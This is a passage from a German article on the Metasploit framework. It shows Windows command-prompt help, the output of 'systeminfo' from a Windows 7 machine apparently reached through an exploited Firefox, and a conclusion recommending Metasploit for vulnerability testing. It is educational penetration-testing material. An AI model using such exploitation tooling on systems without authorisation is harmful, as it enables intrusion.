CHKNTFS        Zeigt die Überprüfung des Datenträgers beim Start an bzw.
               verändert sie.
CLS            Löscht den Bildschirminhalt.
CMD            Startet eine neue Instanz des Windows-Befehlsinterpreters.

[…]

SHUTDOWN       Ermöglicht lokales oder ferngesteuertes Herunterfahren des
               Computers.
SORT           Sortiert die Eingabe.
START          Startet ein eigenes Fenster, um ein bestimmtes Programm oder
               einen Befehl auszuführen.
SUBST          Ordnet einen Pfad einem Laufwerkbuchstaben zu.
SYSTEMINFO     Zeigt computerspezifische Eigenschaften und Konfigurationen an.
TASKLIST       Zeigt alle zurzeit laufenden Aufgaben inklusive der Dienste an.
TASKKILL       Bricht einen laufenden Prozess oder eine Anwendung ab oder
               beendet ihn bzw. sie.
TIME           Zeigt die Systemzeit an bzw. legt sie fest.
TITLE          Bestimmt den Fenstertitel des Eingabeaufforderungsfensters.
TREE           Zeigt die Ordnerstruktur eines Laufwerks oder Pfads grafisch an.
TYPE           Zeigt den Inhalt einer Textdatei an.
VER            Zeigt die Windows-Version an.
VERIFY         Legt fest, ob das ordnungsgemäße Schreiben von Dateien auf
               den Datenträger überprüft werden soll.
VOL            Zeigt die Volume-Bezeichnung und die Seriennummer des
               Datenträgers an.
XCOPY          Kopiert Dateien und Verzeichnisstrukturen.
WMIC           Zeigt WMI-Informationen in der interaktiven Befehls-Shell an.

Weitere Informationen finden Sie in der Befehlszeilenreferenz der Onlinehilfe.
systeminfo
systeminfo

Hostname:                                      WINDOWS7
Betriebssystemname:                            Microsoft Windows 7 Professional 
Betriebssystemversion:                         6.1.7601 Service Pack 1 Build 7601
Betriebssystemhersteller:                      Microsoft Corporation
Betriebssystemkonfiguration:                   Eigenständige Arbeitsstation
Betriebssystem-Buildtyp:                       Multiprocessor Free
Registrierter Benutzer:                        Windows-Benutzer
Registrierte Organisation:                     
Produkt-ID:                                    …

Abb. 1: Windows-Firewall meckert über Firefox-Versuche, mit Metasploit zu kommunizieren

Fazit

Exploits lassen sich auch im Guten nutzen. Einfach und zuverlässig geht das mit dem Metasploit-Framework. Aus Platzgründen hat dieser Artikel nicht einmal einen Bruchteil der Möglichkeiten vorgestellt, das hatte ich aber auch gar nicht vor. Es gibt mehrere Bücher zu Metasploit, und selbst die decken nicht alle Facetten ab. Wenn Sie Schwachstellen testen wollen, probieren Sie es aus, es lohnt sich.

Wie Sie gesehen haben, kommen Sie mitunter auch mit reinen Exploits ans Ziel, mit dem Metasploit-Framework kann das allerdings schneller und zuverlässiger erreicht werden. Vor allem müssen Sie sich damit um die Bedienung und Konfiguration der Exploits keine Gedanken machen. Die erfolgen bei Metasploit immer nach dem gleichen Muster, während bei normalen Exploits jeder Entwickler seinen eigenen Vorstellungen folgt.

Wenn Sie Kali Linux verwenden, werfen Sie einen Blick auf die anderen Tools, auch das lohnt sich.

Falls Sie das Metasploit Framework auf Ihrem Arbeitsplatzrechner installieren: Achten Sie darauf, was Ihr Virenscanner macht. Die neigen nämlich dazu, diese „bösen“ Hacker-Tools und Exploits zu demolieren.

Aufmacherbild: the word of exploit via Shutterstock / Urheberrecht: schatzy